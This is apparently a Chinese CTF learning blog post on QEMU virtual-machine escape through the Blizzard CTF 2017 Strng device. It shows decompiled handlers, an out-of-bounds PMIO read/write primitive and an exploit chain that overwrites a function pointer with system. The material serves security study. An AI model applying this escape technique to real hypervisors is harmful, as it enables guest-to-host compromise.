登录后台

页面导航

本文编写于 293 天前,最后修改于 91 天前,其中某些信息可能已经过时。

前言

我是跟着raycp大佬写的文章学习的,云感谢~

大佬博客链接:https://ray-cp.github.io/

微信公众号:平凡之路

参考文章

1.https://mp.weixin.qq.com/s/TR-JuE2nl3W7ZmufAfpBZA

2.https://mp.weixin.qq.com/s/gptqQ79dXfbTrQW67PZ1VA

3.https://mp.weixin.qq.com/s/mDKoBddjphtu6xWc8bpbyw

基础知识

qemu

qemu是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备。当然虚拟化因为性能的原因是无法直接代替硬件的,到那时它对于实验以及测试是非常方便的。

目前qemu出问题比较多的地方以及比赛中出题目的形式都在在设备模拟中,因此后续也会将关注点主要放在设备模拟上。

QEMU提供了一套面向对象编程的模型——QOM(QEMU Object Module),几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。

由于qemu模拟设备以及CPU等,既有相应的共性又有自己的特性,因此使用面向对象来实现相应的程序是非常高效的,可以像理解C++或其它面向对象语言来理解QOM。

docker

https://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html

Docker 属于 Linux 容器的一种封装,提供简单易用的容器使用接口。它是目前最流行的 Linux 容器解决方案。

Docker 将应用程序与该程序的依赖,打包在一个文件里面。运行这个文件,就会生成一个虚拟容器。程序在这个虚拟容器里运行,就好像在真实的物理机上运行一样。有了 Docker,就不用担心环境问题。

总体来说,Docker 的接口相当简单,用户可以方便地创建和使用容器,把自己的应用放入容器。容器还可以进行版本管理、复制、分享、修改,就像管理普通的代码一样。

总结

我对docker和qemu以前有点混淆,现在大致搞清楚了,我的理解是qemu虚拟化硬件,docker虚拟化软件。

踩坑1:Could not access KVM kernel module: No such file or directory

虚拟机没开虚拟化引擎,在当前虚拟机设置->处理器->虚拟化引擎;(我也不知道开哪个,就全点了。。)

pwn-Blizzard CTF 2017 Strng

启动qemu

./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

该虚拟机是一个Ubuntu Server 14.04 LTS,用户名是ubuntu,密码是passw0rd。
因为它把22端口重定向到了宿主机的5555端口,所以可以使用ssh ubuntu@127.0.0.1 -p 5555登进去。

lspci命令用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。
pci设备的寻址是由总线、设备以及功能构成。如下所示:

ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

xx:yy:z的格式为总线:设备:功能的格式。

可以使用lspci命令以树状的形式输出pci结构:

ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0  Intel Corporation 440FX - 82441FX PMC [Natoma]
           +-01.0  Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
           +-01.1  Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
           +-01.3  Intel Corporation 82371AB/EB/MB PIIX4 ACPI
           +-02.0  Device 1234:1111
           +-03.0  Device 1234:11e9
           \-04.0  Intel Corporation 82540EM Gigabit Ethernet Controller

其中[0000]表示pci的域, PCI域最多可以承载256条总线。每条总线最多可以有32个设备,每个设备最多可以有8个功能。

ida分析qemu-system-x64_64

直接搜索strng相关的函数,strng字符串会变成黄色
tips:随便选中函数名右键,选择Qucik filter(ctrl+F),在函数窗口下面的小框里输入strng就完成筛选了

查看结构体:
tips;view-> open subviews-> local types-> 右键选择Qucik filter-> 输入strng完成筛选

struct STRNGState
{
  PCIDevice_0 pdev;
  MemoryRegion_0 mmio;
  MemoryRegion_0 pmio;
  uint32_t addr;
  uint32_t regs[64];
  void (*srand)(unsigned int);
  int (*rand)(void);
  int (*rand_r)(unsigned int *);
};

有个uint32_t类型的regs数组,大小为256(64*4),后面跟三个函数指针;

pci_strng_register_types会注册由用户提供的TypeInfo,

void __cdecl pci_strng_register_types()
{
  __readfsqword(0x28u);
  __readfsqword(0x28u);
  type_register_static(&strng_info_25910);    //strng_info_25910是TypeInfo的地址
}

再来看看strng_class_init函数,这里需要将v2的数据类型设置为PCIDeviceClass*,才能显示下面这样的伪代码
tips:快捷键Y更改数据类型

void __fastcall strng_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass *v2; // rax

  v2 = object_class_dynamic_cast_assert(a1, "pci-device", "/home/rcvalle/qemu/hw/misc/strng.c", 154, "strng_class_init");
  v2->device_id = 0x11E9;
  v2->revision = 0x10;
  v2->realize = pci_strng_realize;
  v2->class_id = 0xFF;
  v2->vendor_id = 0x1234;
}

可以看到class_init中设置其device_id为0x11e9,vendor_id为0x1234。对应到上面lspci得到的信息,可以知道设备为00:03.0,查看其详细信息:

ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
    Subsystem: Red Hat, Inc Device 1100
    Physical Slot: 3
    Flags: fast devsel
    Memory at febf1000 (32-bit, non-prefetchable) [size=256]
    I/O ports at c050 [size=8]

可以看到有MMIO地址为0xfebf1000,大小为256;PMIO地址为0xc050,总共有8个端口。

然后查看resource文件:

ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000

resource0对应的是MMIO,而resource1对应的是PMIO。
resource中数据格式是起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

也可以查看/proc/ioports来查看各个设备对应的I/O端口,/proc/iomem查看其对应的I/O memory地址(需要用root帐号查看,否则看不到端口或地址):

ubuntu@ubuntu:~$ sudo cat /proc/iomem 
sudo: unable to resolve host ubuntu
00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
  000a0000-000bffff : Video RAM area
000c0000-000c97ff : Video ROM
000c9800-000ca5ff : Adapter ROM
000ca800-000ccbff : Adapter ROM
000f0000-000fffff : reserved
  000f0000-000fffff : System ROM
00100000-3ffdffff : System RAM
  01000000-0166f789 : Kernel code
  0166f78a-019c88ff : Kernel data
  01aae000-01b94fff : Kernel bss
3ffe0000-3fffffff : reserved
40000000-febfffff : PCI Bus 0000:00
  fd000000-fdffffff : 0000:00:02.0
  feb80000-febbffff : 0000:00:04.0
  febc0000-febdffff : 0000:00:04.0
    febc0000-febdffff : e1000
  febe0000-febeffff : 0000:00:02.0
  febf0000-febf0fff : 0000:00:02.0
  febf1000-febf10ff : 0000:00:03.0
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
fee00000-fee00fff : Local APIC
feffc000-feffffff : reserved
fffc0000-ffffffff : reserved

pci_strng_realize

该函数注册了MMIO和PMIO空间,包括mmio的操作结构strng_mmio_ops及其大小256;pmio的操作结构体strng_pmio_ops及其大小8。

void __fastcall pci_strng_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
  unsigned __int64 v2; // ST08_8

  v2 = __readfsqword(0x28u);
  memory_region_init_io(&pdev[1], &pdev->qdev.parent_obj, &strng_mmio_ops, pdev, "strng-mmio", 0x100uLL);
  pci_register_bar(pdev, 0, 0, &pdev[1]);
  memory_region_init_io(&pdev[1].io_regions[0].size, &pdev->qdev.parent_obj, &strng_pmio_ops, pdev, "strng-pmio", 8uLL);
  if ( __readfsqword(0x28u) == v2 )
    pci_register_bar(pdev, 1, 1u, &pdev[1].io_regions[0].size);
}

strng_mmio_read函数

uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  result = -1LL;
  if ( size == 4 && !(addr & 3) )
    result = opaque->regs[addr >> 2];
  return result;
}

作用:读入addr将其右移两位,作为regs的索引返回该寄存器的值。

strng_mmio_write函数

这里依旧需要更改一下opaque的数据结构

// local variable allocation has failed, the output may be wrong!
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  hwaddr v4; // rsi
  int v5; // ST08_4
  uint32_t v6; // eax
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  if ( size == 4 && !(addr & 3) )
  {
    v4 = addr >> 2;
    if ( v4 == 1 )
    {
      opaque->regs[1] = (opaque->rand)(opaque, v4, val);
    }
    else if ( v4 < 1 )
    {
      if ( __readfsqword(0x28u) == v7 )
        (opaque->srand)(val);
    }
    else
    {
      if ( v4 == 3 )
      {
        v5 = val;
        v6 = (opaque->rand_r)(&opaque->regs[2]);
        LODWORD(val) = v5;
        opaque->regs[3] = v6;
      }
      opaque->regs[v4] = val;
    }
  }
}

当size等于4时,将addr右移两位得到寄存器的索引i,并提供4个功能:

  • 当i为0时,调用srand函数但并不给赋值给内存。
  • 当i为1时,调用rand得到随机数并赋值给regs[1]。
  • 当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3],但后续仍然会将val值覆盖到regs[3]中。
  • 其余则直接将传入的val值赋值给regs[i]。

看起来似乎是addr可以由我们控制,可以使用addr来越界读写regs数组。即如果传入的addr大于regs的边界,那么我们就可以读写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界读写。

编程访问MMIO

实现对MMIO空间的访问,比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:

unsignedchar* mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return*((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char*argv[])
{

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd == -1)
die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
}

PMIO

通过前面的分析我们知道strng有八个端口,端口起始地址为0xc050,相应的通过strng_pmio_read和strng_pmio_write去读写。

strng_pmio_read函数

uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t v4; // edx

  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        v4 = opaque->addr;
        if ( !(v4 & 3) )
          result = opaque->regs[v4 >> 2];
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}

当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。

strng_pmio_write函数

void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t v4; // eax
  __int64 v5; // rax
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        v4 = opaque->addr;
        if ( !(v4 & 3) )
        {
          v5 = v4 >> 2;
          if ( v5 == 1 )
          {
            opaque->regs[1] = (opaque->rand)(opaque, 4LL, val);
          }
          else if ( v5 < 1 )
          {
            if ( __readfsqword(0x28u) == v6 )
              (opaque->srand)(val);
          }
          else if ( v5 == 3 )
          {
            opaque->regs[3] = (opaque->rand_r)(&opaque->regs[2], 4LL, val);
          }
          else
          {
            opaque->regs[v5] = val;
          }
        }
      }
    }
    else
    {
      opaque->addr = val;
    }
  }
}

当size等于4时,以传入的端口地址为判断提供4个功能:

  • 当端口地址为0时,直接将传入的val赋值给opaque->addr。
  • 当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:
  • i为0时,执行srand,返回值不存储。•i为1时,执行rand并将返回结果存储到regs[1]中。
  • i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。
  • 否则直接将val存储到regs[idx]中。

可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。

越界读则是首先通过strng_pmio_write去设置opaque->addr,然后再调用pmio_read去越界读。

越界写则是首先通过strng_pmio_write去设置opaque->addr,然后仍然通过pmio_write去越界写。

编程访问PMIO

UAFIO:https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html

UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN以及 OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为<sys/io.h>,函数的具体用法可以使用man手册查看。

还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man ioperm 和man iopl去查看函数)。

uint32_t pmio_base=0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
return(uint32_t)inl(addr);
}

int main(int argc, char*argv[])
{

// Open and map I/O memory for the strng device
if(iopl(3) !=0)
die("I/O permission is not enough");
        pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);

}

利用

  • 越界读:首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后再调用strng_pmio_read,就会去读regs[val>>2]的值,实现越界读,代码如下:
uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}
  • 越界写:仍然是首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后调用strng_pmio_write,并设置addr为4,即会去将此次传入的val写入到regs[val>>2]中,实现越界写,代码如下:
void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

完整的利用过程为:

1.使用strng_mmio_write将cat /root/flag写入到regs[2]开始的内存处,用于后续作为参数。
2.使用越界读漏洞,读取regs数组后面的srand地址,根据偏移计算出system地址。
3.使用越界写漏洞,覆盖regs数组后面的rand_r地址,将其覆盖为system地址。
4.最后使用strng_mmio_write触发执行opaque->rand_r(&opaque->regs[2])函数,从而实现system("cat /root/flag")的调用,拿到flag。

调试

sudo ./launsh.sh将虚拟机跑起来以后,在本地将exp用命令make编译通过,makefile内容比较简单:

ALL:
        cc -m32 -O0 -static -o exp exp.c

exp:https://github.com/ray-cp/vm-escape/blob/master/qemu-escape/BlizzardCTF2017-Strng/exp.c

然后使用命令scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu将exp拷贝到虚拟机中。

若要调试qemu以查看相应的流程,可以使用ps -ax|grep qemu找到相应的进程;再sudo gdb -attach [pid]上去,然后在里面下断点查看想观察的数据,示例如下:

b *strng_pmio_write
b *strng_pmio_read
b *strng_mmio_write
b *strng_pmio_read

然后再sudo ./exp执行exp,就可以愉快的调试了。

一个小trick,可以使用print加上结构体可以很方便的查看数据(如果有符号的话):

pwndbg> print *(STRNGState*)$rdi
$1 = {
  pdev = {
    qdev = {
      parent_obj = {
        class = 0x55de43a3f2e0,
        free = 0x7fc137fedba0 <g_free>,
        properties = 0x55de45283c00,
        ref = 0x13,
...
pwndbg> print ((STRNGState*)$rdi).regs
$3 = {0x0, 0x0, 0x1e28b6de, 0x6f6f722f, 0x6c662f74, 0x6761, 0x0 <repeats 58 times>}

https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html

总结

第一次接触qemu,很多东西都不懂,这次主要是熟悉一遍流程,实践基础知识,大部分直接粘贴过来的,加油~